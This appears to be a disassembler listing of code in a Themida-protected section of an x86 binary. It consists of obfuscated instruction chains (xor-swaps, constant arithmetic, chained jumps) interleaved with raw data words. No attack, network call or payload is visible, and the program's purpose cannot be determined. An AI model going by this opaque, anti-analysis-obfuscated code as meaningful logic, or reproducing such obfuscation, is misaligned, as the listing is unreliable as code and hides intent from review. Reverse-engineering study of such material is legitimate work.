0EE81DE01h dd 2A36320Dh, 7467685Bh, 1C890000h, 0EBD5524h, 0E958502Dh dd 0FFFFD85Eh ; --------------------------------------------------------------------------- loc_55148C: ; CODE XREF: Themida_:0055A7C8j pop esp or eax, eax jz loc_5511DE push dword ptr [edi+1Ch] jmp loc_557FD9 ; --------------------------------------------------------------------------- db 58h, 0E9h, 19h dd 590000A6h, 241C8B5Dh, 0E9E68956h, 0F88Dh ; --------------------------------------------------------------------------- loc_5514B0: ; CODE XREF: Themida_:005617DAj mov [esp], edx push ebx mov bh, 2Eh mov dl, 14h sub dl, bh pop ebx xor ah, dl pop edx push eax not byte ptr [esp+1] pop eax jmp loc_5609BB ; --------------------------------------------------------------------------- db 59h, 1, 0CAh dd 1C8B5F59h, 4685324h, 89000058h, 4E92424h, 81FFFFD9h dd 6D2BB1EEh, 5A31E919h, 5A5A0000h, 4C681h, 0FF560000h dd 5E042474h, 8B24048Fh, 48B2424h, 5B545324h, 0B1FB951h dd 0E1810596h, 11EB24D9h, 0DB85049h, 2D49F71Ah, 2B1556E2h dd 136C612Dh, 0B31F052Ah, 0C13153F4h, 0A7BB5358h, 811CD324h dd 8A2A43E3h, 70F38130h, 0E961F36Dh, 2CC6h ; --------------------------------------------------------------------------- loc_551540: ; CODE XREF: Themida_:0054E32Aj sub esp, 4 mov [esp], ecx jmp loc_54FE4D ; --------------------------------------------------------------------------- loc_55154E: ; CODE XREF: Themida_:0056248Cj push esi add dword ptr [esp], 6B0A29C4h pop ecx sub ecx, 6B0A29C4h mov esi, [esp] add esp, 4 jmp loc_55215A ; --------------------------------------------------------------------------- db 55h dd 4BDh, 4AC38100h, 104D31Dh, 4AEB81EBh, 0E904D31Dh, 0F60Dh dd 0D330D2F6h, 0D330DA30h, 5011CB80h, 0C30026B0h, 0E9DA8858h dd 0EF86h, 4B9h, 68505200h, 40C01AA9h, 7E0C158h, 0FFEE4AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5515B1: ; CODE XREF: Themida_:0055EEEAj pop ecx jmp loc_54DEB0 ; --------------------------------------------------------------------------- db 21h dd 68565BDDh, 0F775C002h, 0FFF3D2E9h, 0E9595AFFh, 0FFFFE3DAh dd 39CF8158h, 81683333h, 1C66DACFh, 0B3E78123h, 811FC702h dd 78DD49F7h, 76D42DE4h, 0F8292DBFh, 0FFC83EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5515F1: ; CODE XREF: Themida_:00555191j add esp, 4 shr ecx, 0 jmp loc_5542BE ; --------------------------------------------------------------------------- db 56h dd 4BEh, 0B435E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55160A: ; CODE XREF: Themida_:005615DFj pop edx sub al, 8Ah xor cl, al pop eax dec cl sub cl, 0B5h mov dh, cl pop ecx add bl, dh mov dx, [esp] jmp loc_55C279 ; --------------------------------------------------------------------------- loc_551623: ; CODE XREF: Themida_:0055B5BEj push esi push 188D360Eh pop esi jmp loc_554FCA ; --------------------------------------------------------------------------- db 5Bh dd 7846855h, 0E95D7F65h, 421Bh, 0A2147EB9h, 0D1F7492Fh dd 0EB7EE981h, 0C801D05Dh, 0FFDFD7E9h db 0FFh ; --------------------------------------------------------------------------- loc_551651: ; CODE XREF: Themida_:00551D56j or ebx, ecx pop ecx push edi mov edi, 6199587Eh jmp loc_55EAA1 ; --------------------------------------------------------------------------- db 0FFh a4S db '4$éÌÖ',0 db 0 ; --------------------------------------------------------------------------- loc_551667: ; CODE XREF: Themida_:0054E5ABj mov [esp], ax jmp loc_55E23A ; --------------------------------------------------------------------------- dd 8B243C33h, 0C892424h, 0FE95424h db 0B5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55167F: ; CODE XREF: Themida_:005534EDj push eax push ecx jmp loc_55A299 ; --------------------------------------------------------------------------- dw 0D389h dd 73E3815Ah, 0E9033F05h, 0BFA1h, 8104C483h, 4C4h, 0BF9E900h dd 2EBF0000h, 0F7476F17h, 732E9DFh, 14870000h, 24248B24h dd 6D6C68h, 240C8900h, 0B850E189h, 31D33A6Eh, 3507E0C1h dd 0E99D3704h, 0E958C101h, 9BBh, 8B5EF129h, 8CE92434h db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5516DF: ; CODE XREF: Themida_:0055FDF5j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] or edx, eax jmp loc_554BD9 ; --------------------------------------------------------------------------- a1434Hl db '14$34$\hL"',0 align 2 dw 0C89h aShp db '$éH¯',0 align 2 loc_551716: ; CODE XREF: Themida_:0055E660j mov ecx, [esp] add esp, 4 xor edx, eax push dword ptr [esp] pop eax push ecx push esp pop ecx add ecx, 4 add ecx, 4 jmp loc_554873 ; --------------------------------------------------------------------------- db 66h dd 66109568h, 0E97F3968h, 5A7Eh, 5351C828h, 0FEE915B7h dd 8B000092h, 0D0E9242Ch, 53FFFFE0h, 0E956E9h db 0 ; --------------------------------------------------------------------------- loc_551759: ; CODE XREF: Themida_:0055E682j push 157Ch mov [esp], ebp mov ebp, 26300515h add esi, 5E1B3C13h sub esi, ebp jmp loc_55C68C ; --------------------------------------------------------------------------- db 0F6h dd 3E1C0D9h, 0E992F180h, 0BE3Dh ; --------------------------------------------------------------------------- loc_551780: ; CODE XREF: Themida_:0054EE2Ej push dword ptr [esp+4] mov ecx, [esp] push edx mov edx, esp jmp loc_552F45 ; --------------------------------------------------------------------------- loc_55178F: ; CODE XREF: Themida_:0054ED3Cj add ebx, 0FFFFFFFFh xchg ebx, edi or edi, 405E31D8h jmp loc_551072 ; --------------------------------------------------------------------------- db 1 dd 84C281C2h, 8B759414h, 0E9522404h, 0B419h, 81240C8Bh dd 4C4h, 55D9F700h, 0E9595D51h, 89E1h ; --------------------------------------------------------------------------- loc_5517C4: ; CODE XREF: Themida_:00552A24j mov ebx, esp jmp loc_55430D ; --------------------------------------------------------------------------- loc_5517CB: ; CODE XREF: Themida_:005511D9j sub [esp+4], ebp pop ebp pop edi jmp loc_5571F5 ; --------------------------------------------------------------------------- dw 0F788h dd 0F828595Ah, 0BEA0E9h db 0 ; --------------------------------------------------------------------------- loc_5517E1: ; CODE XREF: Themida_:0054EC9Fj and edx, ecx pop ecx push eax sub esp, 4 mov [esp], ecx mov ecx, 3B612E6Eh mov eax, ecx pop ecx xor edx, eax pop eax sub esp, 4 mov [esp], ebp mov ebp, 447879B1h xor edx, ebp pop ebp mov esi, edx mov edx, [esp] add esp, 4 shl esi, 4 shr esi, 2 shr esi, 1 push ebx jmp loc_55FF57 ; --------------------------------------------------------------------------- loc_55181D: ; CODE XREF: Themida_:0055EEA4j add edx, esi jmp loc_562896 ; --------------------------------------------------------------------------- loc_551824: ; CODE XREF: Themida_:0055E987j sub ecx, 19720CB0h mov ebp, [esp] add esp, 4 neg ecx push eax push 341C2103h pop eax jmp loc_55E635 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 8B542414h, 0EBE92414h, 81000106h, 2065242Ch dd 348B7A25h, 0CE8EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551862: ; CODE XREF: Themida_:00556868j mov [esp], esi jmp loc_560EAE ; --------------------------------------------------------------------------- dw 0DAF7h dd 7FFEEA81h, 21E9C206h, 55000061h, 825EEBDh, 6196E944h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551882: ; CODE XREF: Themida_:00557E98j push ecx jmp loc_5627BA ; --------------------------------------------------------------------------- dd 0A3068h, 243C8900h, 0FFFE0DE9h db 0FFh ; --------------------------------------------------------------------------- loc_551895: ; CODE XREF: Themida_:0055453Dj mov edi, 7EDF50A6h xor esi, edi pop edi mov edx, [esp] add esp, 4 shl esi, 7 push 6441h mov [esp], ebx mov ebx, 4E9536E0h not ebx jmp loc_555F9F ; --------------------------------------------------------------------------- db 52h, 0BAh, 4 dd 1000000h, 0EF815AD7h, 4, 0E9243C33h, 3DE7h ; --------------------------------------------------------------------------- loc_5518D4: ; CODE XREF: Themida_:0055EE77j push dword ptr [esp] pop edx add esp, 4 add bl, 0F9h add bl, ch sub bl, 0F9h jmp loc_54F38F ; --------------------------------------------------------------------------- dd 490E951h, 642D0000h, 218BDC25h, 0B95158C7h, 0DFA5E9Ch dd 9055E9h, 5E08900h, 4, 42Dh, 24048700h, 10157E9h, 24048B00h dd 585168h, 240C8900h, 34E95954h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_551927: ; CODE XREF: Themida_:00558CB2j shl ebx, 6 or ebx, 19072561h sub ebx, 0FC76B718h sub edi, 43C44C8Dh jmp loc_5548CB ; --------------------------------------------------------------------------- aSJVsH db ')è-†',1Bh,'¼vé»H',0 dd 0BA525100h, 27974B6Dh, 4B67E281h, 0EA815949h, 0EBBFE5A3h dd 0F75AD189h, 0FFC181D9h, 0E9FFFFFFh, 104DCh ; --------------------------------------------------------------------------- loc_551970: ; CODE XREF: Themida_:00555A9Cj push edi mov edi, 4 add ebx, edi jmp loc_54FEB1 ; --------------------------------------------------------------------------- db 88h, 0D0h, 5Ah dd 3E8C059h, 57B25266h, 5A66D020h, 53665266h, 0DE8819B3h dd 2875E9h, 28C1B500h, 595966EBh, 0FFC0B60Fh, 81568734h dd 4ECh, 24148900h, 4EC81h, 2C890000h, 0C02BD24h, 5BA7326h dd 5692D743h, 0E36724BEh, 6846h, 34290000h, 65685E24h dd 8900004Fh, 0EABD242Ch, 0E968F85Ah, 4C20h, 910B850h dd 0C631F639h, 0DD39E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5519F2: ; CODE XREF: Themida_:00555A6Fj add eax, 5DD43829h mov esi, [esp] add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] push 676Ch mov [esp], edx jmp loc_55FB5A ; --------------------------------------------------------------------------- loc_551A19: ; CODE XREF: Themida_:00557181j sub ecx, edx pop edx dec ecx add ecx, 1 jmp loc_55ECCB ; --------------------------------------------------------------------------- aSz db '[é‡Ï',0 align 2 dw 0D621h dd 5A2434FFh, 8304C483h, 2C8904ECh, 4F8CBD24h, 0EE310D95h dd 81242C8Bh, 4C4h, 0F6E98100h, 17A456Ch, 0F6C181F1h, 0E97A456Ch dd 0B27Ch ; --------------------------------------------------------------------------- loc_551A60: ; CODE XREF: Themida_:005509DDj pop esp jmp loc_5520AA ; --------------------------------------------------------------------------- dw 0BA52h dd 52CD6668h, 242BCA81h, 0E2816F52h, 419C43A4h, 232BE281h dd 0E9504E8Bh, 0FB4Ah ; --------------------------------------------------------------------------- loc_551A84: ; CODE XREF: Themida_:0054FABFj add eax, ecx jmp loc_55719E ; --------------------------------------------------------------------------- aIhJjssea db '-¶)©h-²¦jséEA',0 align 2 dw 0C601h dd 5324048Bh, 0C381E389h, 4, 0E904C383h, 0FFFFD156h, 0E904EC83h dd 589Fh, 0BC419D2Dh, 0DD0F747h, 0B757BD2h, 0C7F7B35h dd 8BC201C1h, 0C4832404h, 31FB0504h, 0D00173BCh, 0BC31FB2Dh dd 0BA525A73h, 2, 8B64172Dh, 74BB5327h, 0E9644E2Fh, 1FCBh dd 1E31EA81h, 8BE97BBBh, 3300000Dh, 248B2414h, 0C896624h dd 0B60F6624h, 1F2E9C8h, 0C4830001h, 0E9E1E904h, 0C581FFFFh dd 4F3C46EAh, 0E7D1E9h db 0 ; --------------------------------------------------------------------------- loc_551B25: ; CODE XREF: Themida_:0055DED9j add ebx, ebp pop ebp or ebx, 38863636h jmp loc_55B5C3 ; --------------------------------------------------------------------------- db 81h dd 0F3FA4DC3h, 0AE07E9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_551B3E: ; CODE XREF: Themida_:00552F0Aj and ebx, ecx pop ecx push ebx jmp loc_55C69E ; --------------------------------------------------------------------------- loc_551B47: ; CODE XREF: Themida_:005614D6j pop esp pop ecx jmp loc_558287 ; --------------------------------------------------------------------------- dw 0E953h dd 0FFFFC2E5h ; --------------------------------------------------------------------------- loc_551B54: ; CODE XREF: Themida_:0055B0B5j xchg edx, [esp] mov esp, [esp] mov [esp], ebx sub dword ptr [esp], 754C19h mov eax, [esp] jmp loc_5545B8 ; --------------------------------------------------------------------------- dd 72CCEA81h, 0CA812479h, 2B852FC9h, 0D025C281h, 0D701841Ah dd 4C7815Ah, 87000000h, 248B243Ch, 0E3895324h, 8C0AE9h dd 24248B00h, 24040166h, 0A384E99Ch, 83590000h, 143304EAh dd 0EB3EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551BAE: ; CODE XREF: Themida_:00551C5Dj inc ebp push edi mov edi, 42793FE7h add ebp, edi pop edi not ebp jmp loc_55CC96 ; --------------------------------------------------------------------------- db 89h dd 5166241Ch, 0EC812DB1h, 4, 53240489h, 0F693E9h db 0 ; --------------------------------------------------------------------------- loc_551BD5: ; CODE XREF: Themida_:0055BA1Dj push ebx jmp loc_5534DC ; --------------------------------------------------------------------------- db 87h dd 64E9243Ch, 0BFFFFFC5h, 0C8B4869h, 2D5FF829h, 419F09DCh dd 0DC05D829h, 5419F09h, 0C8B4869h, 0CAE9505Bh db 93h, 2 dup(0) ; --------------------------------------------------------------------------- loc_551C03: ; CODE XREF: Themida_:00551C9Aj push edi push 556705EDh pop edi sub edi, 43E021CAh jmp loc_561154 ; --------------------------------------------------------------------------- db 56h, 0BEh, 61h dd 570E2A2Bh, 0F818EDBFh, 0D7DFE941h, 0C2810000h, 44CA7D17h dd 0A1A8E9h, 4C48300h, 43F968h, 0E7CBE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551C3E: ; CODE XREF: Themida_:00554383j push esi mov esi, 476A58A1h jmp loc_54F14B ; --------------------------------------------------------------------------- db 51h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54F05C ; --------------------------------------------------------------------------- aFsK db 'Fé}ª',0 align 4 loc_551C58: ; CODE XREF: Themida_:0055DF38j push ebp not dword ptr [esp] pop ebp jmp loc_551BAE ; --------------------------------------------------------------------------- loc_551C62: ; CODE XREF: Themida_:00554316j xchg ebx, [esp] mov esp, [esp] jmp loc_5575CF ; --------------------------------------------------------------------------- db 89h, 0E6h, 53h dd 4BBh, 68EE8100h, 1730835h, 823CE9DEh, 0C2810000h, 4 dd 0AE7CE9h db 0 ; --------------------------------------------------------------------------- loc_551C8D: ; CODE XREF: Themida_:0055306Cj pop esp mov [esp], esp jmp loc_54EF63 ; --------------------------------------------------------------------------- loc_551C96: ; CODE XREF: Themida_:0055F964j mov [esp], ebx push ebp jmp loc_551C03 ; --------------------------------------------------------------------------- db 0BDh dd 13105CF4h, 0B37E01BEh, 0E9EE315Fh, 10106h, 0C48DE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551CB6: ; CODE XREF: Themida_:00555051j push esp pop ebx add ebx, 4 push eax mov eax, 4 sub ebx, eax pop eax push ebx push dword ptr [esp+4] pop ebx jmp loc_54FD6B ; --------------------------------------------------------------------------- dw 1C89h dd 8F685524h, 8B395C6Eh, 0C481242Ch, 4, 0F7D5F74Dh, 2ABB53DDh dd 0C162F457h, 814308EBh, 0EF5BD6C3h, 0B3EB8164h, 43344708h dd 49F7C381h, 0DD019598h, 5DEB895Bh, 5E08950h, 4, 107EE9h dd 89F28900h, 2434FFD3h, 8324148Bh, 0C48104C4h, 4, 5E2434FFh dd 555F5457h, 4BDh, 8BEF0100h, 3FE9242Ch, 890000BAh, 58C589D8h dd 57CE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551D4E: ; CODE XREF: Themida_:00561C57j xchg ebp, ebx push ecx mov ecx, 4F690440h jmp loc_551651 ; --------------------------------------------------------------------------- dd offset loc_55FC68 align 10h dd 0E9240C89h, 9F8Ch ; --------------------------------------------------------------------------- loc_551D68: ; CODE XREF: Themida_:0054E7A0j push esp pop edi add edi, 4 push edx mov edx, 7401322Dh shl edx, 2 jmp loc_55D92C ; --------------------------------------------------------------------------- dw 0EC83h dd 24048904h, 53514EB0h, 0F988B8B7h, 0AEC1805Bh, 8CA7E9h db 0 ; --------------------------------------------------------------------------- loc_551D95: ; CODE XREF: Themida_:0055C0B4j mov eax, edx jmp loc_55EB72 ; --------------------------------------------------------------------------- loc_551D9C: ; CODE XREF: Themida_:005548C6j add edi, ebp jmp loc_5568EF ; --------------------------------------------------------------------------- loc_551DA3: ; CODE XREF: Themida_:0055EAA7j xor ebx, edi pop edi add eax, ebx push dword ptr [esp] pop ebx add esp, 4 sub esp, 4 mov [esp], edx push eax jmp loc_56009C ; --------------------------------------------------------------------------- dw 15Fh dd 148758C2h, 24248B24h, 18EDC381h, 0E9562C65h, 10AF7h dd 54C6C581h, 0E94D47C4h, 0F0F3h, 0E781DFF7h, 78A52344h dd 29F0CF81h, 2BE97BA7h db 0F1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_551DF3: ; CODE XREF: Themida_:0054FE55j pop ecx pop ecx sub esp, 4 jmp loc_561C8B ; --------------------------------------------------------------------------- dd 472F4D05h, 58C729DDh, 2AAEC781h, 0E2E9D615h db 0CAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_551E13: ; CODE XREF: Themida_:0055DF2Ej mov [esp], ebp sub esp, 4 mov [esp], esi push ebx jmp loc_55A052 ; --------------------------------------------------------------------------- dw 1489h dd 2EFC6824h, 38E90000h, 89FFFFC8h, 0CABA2414h, 16D5843h dd 1647E9D0h, 5A0000h, 0A876E9DEh, 88520000h, 0FB2FE9EAh dd 0E830FFFFh, 8A6E9h, 2B86B800h, 0C1296B5Bh, 0C1D1F758h dd 0F18108E9h, 0A65291h, 8159CF29h, 944A95C7h, 55CF0145h dd 944A95BDh, 5DEF2945h, 8A15E9h, 0E7895700h, 4B85051h dd 89000000h, 0EF8158C1h, 52CC4FA4h, 0C781CF01h, 52CC4FA4h dd 4EF8159h, 87000000h, 895C243Ch, 4BE2434h, 81000000h dd 5977C3C5h, 4D0CE969h, 815A0000h, 0F94807C5h, 0E7CBE914h dd 0E95BFFFFh, 0BF57h, 0E9241C89h, 0A94Bh ; --------------------------------------------------------------------------- loc_551ED4: ; CODE XREF: Themida_:0055EAD2j or ecx, 3A893A13h inc ecx xor ecx, 7ACE4FF1h shl ecx, 4 sub ecx, 0C4F6134Eh or ebp, ecx jmp loc_5562D2 ; --------------------------------------------------------------------------- db 89h, 0C6h, 58h dd 515EF001h, 4A85EFB9h, 8BC829B6h, 0C483240Ch, 0E9C78904h dd 314Ah ; --------------------------------------------------------------------------- loc_551F0C: ; CODE XREF: Themida_:0055013Ej add ebp, 8B3FF24h mov ebx, ebp pop ebp jmp loc_557F6E ; --------------------------------------------------------------------------- dw 0EE81h dd 2C094247h, 3144C681h, 0CE012746h, 4D6CE9h, 5EE95800h dd 83000096h, 95E904ECh, 8900007Ah, 5150241Ch, 5AE91AB5h dd 5600007Bh, 6C65A2BEh, 93E94E47h, 5700004Dh, 0B31211BFh dd 15F7814Fh, 14FB312h, 37F8E9FEh, 81580000h, 4ECh, 9B5AE900h dd 14330000h, 24143124h, 8B241433h, 0D1E92424h, 52000095h dd 0C680DFB6h, 0E962E9C5h, 0D0000000h, 4742E95Ah, 0BF570000h dd 3D6C29F3h, 112CE9h, 40D0F700h, 1B8C272Dh, 8F7AE9BEh dd 33590000h, 2C31242Ch, 242C3324h, 8924248Bh, 0EC83243Ch dd 24248904h, 4240483h, 4C7815Fh, 52000000h, 468h, 0D7015A00h dd 8324148Bh, 3C8704C4h, 34FF5C24h, 2434FF24h, 265F6858h dd 34890000h, 4516824h, 42E90000h, 5900001Bh, 0EC81D800h dd 2, 240C8966h, 0E9B5B050h, 2BFEh, 0BE56535Ah, 7B7F2DDAh dd 7BD9BD55h, 0EE09091Dh, 89C6815Dh, 89A7348Ah, 0C3835EF3h dd 874B4301h, 0EE50E9EBh, 14680000h, 0E900001Ch, 0EA85h dd 0BB53FA01h, 42715864h, 577BE381h, 0C14B4BC5h, 0F38102EBh dd 58334F3Eh, 815BDA01h, 3B5973C2h, 377E681Ch, 0FAE90000h dd 420000F6h, 6426C281h, 37E9536Fh, 5600006Dh, 0C681E689h dd 4, 4C681h, 34870000h, 76E95C24h, 83000105h, 0C8704E9h dd 0E214E924h, 4BAFFFFh, 0E9000000h, 0F6D4h, 45FCE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5520AA: ; CODE XREF: Themida_:00551A61j push 593Fh mov [esp], eax mov ah, bl push ebx mov bl, ah mov cl, bl jmp loc_54F3B4 ; --------------------------------------------------------------------------- dw 5057h dd 2C779BB8h, 0B8505641h, 1DBA7173h, 0E0D1D0F7h, 92F13E05h dd 0FE17E9B0h, 835DFFFFh, 0B3E904C4h db 0ADh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5520E3: ; CODE XREF: Themida_:00562808j pop esp push edi mov edi, 15AD6F08h add eax, edi jmp loc_55D317 ; --------------------------------------------------------------------------- db 66h, 8Bh, 14h dd 2C48324h, 0DBF28166h, 81665D04h, 0E9458FF2h, 0D313h dd 207C99BDh, 0D933E958h, 48F0000h, 3C895C24h, 685F5424h dd 0EC9h, 0B1B9E9h, 80EB0000h, 0C8BDFC3h, 4C48124h, 0F000000h dd 2368C0B6h, 89000042h, 0E0892404h, 0A011E9h, 54C78100h dd 8907E6B6h, 50E95FFAh, 0F600000Ch, 0D14E9D7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55215A: ; CODE XREF: Themida_:00551566j add esi, ecx mov ecx, [esp] add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push 1C5Ch mov [esp], ebx jmp loc_561DFB ; --------------------------------------------------------------------------- db 81h dd 2040DC1h, 0E9CD8984h, 0EC9Bh, 27FE68h, 24048900h, 15F1E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552196: ; CODE XREF: Themida_:0055C463j mov [esp], eax jmp loc_553DEE ; --------------------------------------------------------------------------- dw 0EF81h dd 0F56BB5E7h, 315FFB89h, 31DD31EBh, 9149E9EBh, 0E95C0000h dd 0DB32h, 4C481h, 95050000h, 167C118h, 5DA168D8h, 2C890000h dd 0DAE7E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5521D2: ; CODE XREF: Themida_:0055CB47j sub edx, 1 jmp loc_56158A ; --------------------------------------------------------------------------- loc_5521DD: ; CODE XREF: Themida_:0055672Dj mov edi, 44F724B4h push ecx push ebp push 8F51332h pop ebp jmp loc_561D81 ; --------------------------------------------------------------------------- loc_5521EF: ; CODE XREF: Themida_:0055D226j sub esp, 4 mov [esp], ecx push 10000h push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 add esp, 4 and eax, ecx push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] jmp loc_5579D0 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0A927E9h, 16685100h, 5937D27Eh, 6CA3C981h, 0C1810C29h dd 79405F3Eh, 0F877F181h, 0CD89E4EAh, 5FC58159h, 1744B58h dd 0B846E9EBh, 5B540000h, 4C381h, 0EC830000h, 0BA7EE904h dd 0C3FE0000h, 0E263E9h, 24348900h, 8904EC83h, 0F4B9240Ch dd 814BA44Dh, 0DA26A2E9h, 0B0C1811Ch, 51D135D8h, 14240481h dd 0E9014F27h, 83F8h, 0EE9C7FEh, 8900006Ah, 85E92414h dd 830000BDh, 0E95304C4h, 0FFFFC6B4h ; --------------------------------------------------------------------------- loc_5522A4: ; CODE XREF: Themida_:005500B4j push 2276h mov [esp], eax push 24A63258h push dword ptr [esp] pop eax add esp, 4 or eax, 6BAA2488h xor eax, 0F165E7Eh jmp loc_55090D ; --------------------------------------------------------------------------- dw 0E989h dd 0D0E9CA89h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5522D3: ; CODE XREF: Themida_:005572D0j and eax, ecx jmp loc_5619FD ; --------------------------------------------------------------------------- dw 492Dh dd 0E91C486Ch, 0FFFFCEF2h, 5224048Bh, 0C281E289h, 4, 4B850h dd 0C2010000h, 0CCF0E958h, 0C481FFFFh, 4, 0C381CB01h, 529121D8h dd 8904EC83h, 71BA2414h, 0C1620760h, 0DAF703EAh, 19E7C281h dd 0D3015EFDh, 0E924148Bh, 29F7h, 5D04C483h, 148BD101h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_54EB54 ; --------------------------------------------------------------------------- db 81h dd 4C3h, 4C38100h, 83000000h, 0C8904ECh, 78BF6824h, 24890000h dd 0A815E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552362: ; CODE XREF: Themida_:005612A5j push ebp mov ebp, 76452D26h or ebp, 2205192Fh or ebp, 691B103Fh sub ebp, 7F5FC845h mov edi, ebp pop ebp jmp loc_556493 ; --------------------------------------------------------------------------- loc_552382: ; CODE XREF: Themida_:005547E5j push dword ptr [edi+eax*4] push esi mov esi, 3B3D0157h jmp loc_55642D ; --------------------------------------------------------------------------- dd 78E9FD01h, 0B80000FBh, 382D7F3Dh, 20FBE9h, 0EB815900h dd 0F6C8D368h, 5C9BB951h, 0CA2935EBh, 81DA2959h, 0EB5C9BC2h dd 0BEE95B35h db 0DDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5523BF: ; CODE XREF: Themida_:005524A7j mov [esp], esi mov esi, esp add esi, 4 add esi, 4 jmp loc_5592B3 ; --------------------------------------------------------------------------- loc_5523D5: ; CODE XREF: Themida_:0055DC25j push edi mov edi, 11EA5B8Bh push ebp mov ebp, 1 add edi, ebp pop ebp jmp loc_54EEE5 ; --------------------------------------------------------------------------- db 29h, 0FEh, 8Bh dd 0C483243Ch, 56EE8104h, 1CB1AC9h, 0F4D4E9F0h, 68660000h dd 89662D35h, 5551242Ch, 66DEE9h db 0 ; --------------------------------------------------------------------------- loc_55240D: ; CODE XREF: Themida_:00560A15j mov eax, [esp] add esp, 4 sub eax, 78C471F0h push ebx jmp loc_5575FA ; --------------------------------------------------------------------------- db 83h, 0C1h, 4 dd 5C240C87h, 34FFC701h, 24048B24h, 0FFEF79E9h db 0FFh ; --------------------------------------------------------------------------- loc_552435: ; CODE XREF: Themida_:0054EB01j mov edx, 4DD836C4h jmp loc_55EA33 ; --------------------------------------------------------------------------- db 81h dd 4C2h, 4C28100h, 87000000h, 535C2414h, 2BBh, 247EE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55245A: ; CODE XREF: Themida_:0054FA18j mov edx, eax pop eax dec edx jmp loc_55ACC1 ; --------------------------------------------------------------------------- db 89h dd 74FF240Ch, 8F590424h, 248B2404h, 486E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552476: ; CODE XREF: Themida_:00554C29j add ecx, 4 push edi jmp loc_5540E7 ; --------------------------------------------------------------------------- dw 0C781h dd 5BB44013h, 0E924148Bh, 2288h, 24048F5Dh, 0FCDFE9h, 52E95000h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55249F: ; CODE XREF: Themida_:0055FB67j mov edx, [esp] push 1B6Ch jmp loc_5523BF ; --------------------------------------------------------------------------- dd 0BB3EF681h, 0F701CCC2h, 0D9C7815Eh, 0FD395D22h, 48FD68h dd 241C8900h, 8E7D92BBh, 0DBBAE94Ch, 4068FFFFh, 89000014h dd 0FE92434h, 810000F3h, 4C4h, 2C28300h, 0E9241433h, 6990h dd 8B24048Fh, 4E92424h db 89h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5524F7: ; CODE XREF: Themida_:00553ACFj pop esp mov ecx, [esp] add esp, 4 jmp loc_55885B ; --------------------------------------------------------------------------- loc_552506: ; CODE XREF: Themida_:0056215Bj mov edx, esp add edx, 4 jmp loc_553D83 ; --------------------------------------------------------------------------- db 0BEh dd 4, 835EF701h, 0E95704C7h, 7BC1h, 0BE3185BDh, 0E9C5316Eh dd 37B1h, 56EEF581h, 0E829ADEDh, 1AE95E5Dh db 0FBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55253F: ; CODE XREF: Themida_:0055863Bj push ecx jmp loc_55B61C ; --------------------------------------------------------------------------- loc_552545: ; CODE XREF: Themida_:0055D5EBj xchg ebp, [esp] pop esp add edx, 12F06D22h add edx, ecx sub edx, 12F06D22h pop ecx add esi, edx pop edx jmp loc_55E995 ; --------------------------------------------------------------------------- loc_552560: ; CODE XREF: Themida_:0055125Dj add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub esp, 4 mov [esp], ecx jmp loc_55EB4C ; --------------------------------------------------------------------------- loc_552578: ; CODE XREF: Themida_:0054EA66j push esp pop ebx jmp loc_55D4FE ; --------------------------------------------------------------------------- loc_55257F: ; CODE XREF: Themida_:005606CAj mov eax, 4 add ebx, eax pop eax push edi push eax mov eax, 49094376h jmp loc_562303 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 2F8E6800h, 3C890000h, 46824h, 565F0000h, 14B4ABEh dd 0E9F52908h, 0B2B3h, 452C5FBBh, 0E9DA2954h, 0EFC4h, 0E53FE95Ch dd 0E9580000h, 1817h ; --------------------------------------------------------------------------- loc_5525CC: ; CODE XREF: Themida_:00559AD8j mov eax, [esp] jmp loc_55CFCA ; --------------------------------------------------------------------------- dd 730684BDh, 8BE80178h, 8951242Ch, 4C181E1h, 81000000h dd 4C1h, 240C8700h, 0D6B9515Ch, 2930A41Ah, 5C2D59C8h, 134D84Eh dd 4E5C05C8h, 0D60534D8h, 2D30A41Ah, 78730684h, 592434FFh dd 4EC81h, 14890000h, 815A5424h, 4C2h, 0D978E900h, 0EB010000h dd 83242C8Bh, 1C3304C4h, 241C3124h, 0E9241C33h, 0FFFFF555h dd 24048B66h, 388B68h, 0FE5E900h, 33680000h, 8900001Eh dd 4682434h, 5E000000h, 407CE981h, 0FE95DD0h, 1000004h dd 79E52DC8h, 21E9540Ah, 10000A5h, 81F8E9FEh db 2 